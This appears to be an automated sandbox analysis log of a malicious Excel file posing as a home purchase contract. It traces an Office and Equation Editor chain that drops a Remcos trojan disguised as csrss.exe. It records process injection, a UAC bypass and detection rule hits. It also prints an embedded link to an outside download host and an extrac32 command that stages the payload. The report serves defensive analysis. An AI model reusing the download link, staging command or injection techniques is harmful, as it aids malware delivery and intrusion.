Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to call native functions
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D5BB09 OpenProcess,NtSuspendProcess,CloseHandle, 8_2_33D5BB09
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D5BB35 OpenProcess,NtResumeProcess,CloseHandle, 8_2_33D5BB35
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D532D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile, 8_2_33D532D2
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D5D58F NtdllDefWindowProc_A,GetCursorPos,SetForegroundWindow,TrackPopupMenu,IsWindowVisible,ShowWindow,ShowWindow,SetForegroundWindow,Shell_NotifyIcon,ExitProcess,CreatePopupMenu,AppendMenuA, 8_2_33D5D58F
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C8D6D4 GetModuleHandleW,GetProcAddress,NtQueryInformationProcess, 11_2_02C8D6D4
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C8D654 GetModuleHandleW,GetProcAddress,NtQueryInformationProcess, 11_2_02C8D654
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C8C7B8 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose, 11_2_02C8C7B8
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C87A74 GetModuleHandleA,GetProcAddress,NtWriteVirtualMemory, 11_2_02C87A74
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C87924 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory, 11_2_02C87924
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C8816E CreateProcessAsUserW,GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,NtResumeThread, 11_2_02C8816E
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C88170 CreateProcessAsUserW,GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,NtResumeThread, 11_2_02C88170
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C8C6D2 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose, 11_2_02C8C6D2
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C8C6D4 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose, 11_2_02C8C6D4
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C87A72 GetModuleHandleA,GetProcAddress,NtWriteVirtualMemory, 11_2_02C87A72
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C87922 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory, 11_2_02C87922
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C87CA8 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary, 11_2_02C87CA8
Contains functionality to launch a process as a different user
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C8816E CreateProcessAsUserW,GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,NtResumeThread, 11_2_02C8816E
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D567B9 ExitWindowsEx,LoadLibraryA,GetProcAddress, 8_2_33D567B9
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D9332B 8_2_33D9332B
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D7E2FB 8_2_33D7E2FB
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D861F0 8_2_33D861F0
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D73946 8_2_33D73946
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D7E0CC 8_2_33D7E0CC
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D76FEA 8_2_33D76FEA
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D7DE9D 8_2_33D7DE9D
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D75E5E 8_2_33D75E5E
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D7E558 8_2_33D7E558
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D5DB62 8_2_33D5DB62
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D57121 8_2_33D57121
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D570C2 8_2_33D570C2
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C720C4 11_2_02C720C4
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D256FEA 11_2_2D256FEA
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D246E0E 11_2_2D246E0E
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D25DE9D 11_2_2D25DE9D
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D253946 11_2_2D253946
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D23DB62 11_2_2D23DB62
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D247BAF 11_2_2D247BAF
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D247A46 11_2_2D247A46
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D258770 11_2_2D258770
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D274159 11_2_2D274159
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D2661F0 11_2_2D2661F0
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D23F0FA 11_2_2D23F0FA
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D27332B 11_2_2D27332B
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D24739D 11_2_2D24739D
Document contains embedded VBA macros
Source: Home Purchase Contract and Property Details.xls OLE indicator, VBA macros: true
Document embeds suspicious OLE2 link
Source: Home Purchase Contract and Property Details.xls Stream path 'MBD00099101/\x1Ole' : http://qr-in.com/NAvSGzZ{Oj3)RXku>SI%5.xBI0Qkoh?oBdGa]dn{CwQ/lzIawQOWjk ~FG4|eK<:~c D!W6%L(3Y+UpmT|Z+MzH'YvCT|,kDfXwy:p0PzMhW6YXp3ixiWoRXXPqmQjkuFlUB0rZEYLONZNpkrrEQry1s7viSBC9qAGZcbSd6YSWt6skNTah80TV1OAnBjyYAV5iCjaD0Vvvu78SpMjdPoeeEGsxT51PsjFbZH0egg0ScOog0wHB76WhvSs1Bksop3d6wNw6oA90d3HmdHEafGfKALEuiPiEoXTjmOQ18lxNyMZVUKzBmla07E7Sj1KmS19X806a92Ab94RDIkrHfQ3Sh5shdI3u%me<fFiX+
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~DF78F515A159E2AA69.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{618DEECE-5CD1-42E4-A158-87A2956FA503}.tmp.4.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: String function: 33D74E10 appears 43 times
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: String function: 02C87DF4 appears 45 times
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: String function: 02C746A4 appears 244 times
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: String function: 02C76640 appears 37 times
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: String function: 02C7480C appears 771 times
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: String function: 02C87CA8 appears 49 times
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: String function: 02C744AC appears 69 times
Yara signature match
Source: 11.2.Efftwcmk.PIF.2d220000.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.Efftwcmk.PIF.2d220000.1.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.Efftwcmk.PIF.2d220000.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.Efftwcmk.PIF.2d220000.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.Efftwcmk.PIF.2d220000.1.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.Efftwcmk.PIF.2d220000.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000C.00000002.484496833.00000000272CB000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000008.00000002.1012207860.0000000033DAB000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000B.00000002.473812700.000000007DBE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000B.00000002.470885800.000000002D220000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000B.00000002.470885800.000000002D220000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000B.00000002.470885800.000000002D220000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: Process Memory Space: csrss.exe PID: 3832, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: Efftwcmk.PIF PID: 1696, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: Efftwcmk.PIF PID: 920, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\lionsaretotalcontrollingtherulsofthejungletounderstandlionsarekindofjungletogetmebackonfiretogetittrueexperienc__ofhtejunglelions[1].doc, type: DROPPED Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\398EA60A.doc, type: DROPPED Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: classification engine Classification label: mal100.rans.troj.spyw.expl.evad.winXLS@9/31@13/6
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D57952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError, 8_2_33D57952
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C77F4C GetDiskFreeSpaceA, 11_2_02C77F4C
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4F8FD CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,Process32NextW,CloseHandle, 8_2_33D4F8FD
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C86D40 CoCreateInstance, 11_2_02C86D40
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D5B4A8 FindResourceA,LoadResource,LockResource,SizeofResource, 8_2_33D5B4A8
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D5AB0D OpenSCManagerW,OpenServiceW,CloseServiceHandle,ControlService,QueryServiceStatus,StartServiceW, 8_2_33D5AB0D
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\UZ61X6P3.txt Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Mutant created: \Sessions\1\BaseNamedObjects\Rmc-9VASLD
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR70AC.tmp Jump to behavior
Source: Home Purchase Contract and Property Details.xls OLE indicator, Workbook stream: true
Source: 0B430000.0.dr OLE indicator, Workbook stream: true
Source: C:\Users\user\AppData\Roaming\csrss.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Users\user\AppData\Roaming\csrss.exe "C:\Users\user\AppData\Roaming\csrss.exe"
Source: C:\Users\user\AppData\Roaming\csrss.exe Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\AppData\Roaming\csrss.exe C:\\Users\\Public\\Libraries\\Efftwcmk.PIF
Source: unknown Process created: C:\Users\Public\Libraries\Efftwcmk.PIF "C:\Users\Public\Libraries\Efftwcmk.PIF"
Source: unknown Process created: C:\Users\Public\Libraries\Efftwcmk.PIF "C:\Users\Public\Libraries\Efftwcmk.PIF"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\csrss.exe "C:\Users\user\AppData\Roaming\csrss.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\AppData\Roaming\csrss.exe C:\\Users\\Public\\Libraries\\Efftwcmk.PIF Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ?????.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: url.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ???.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ????.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??????s.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Section loaded: ??.dll Jump to behavior
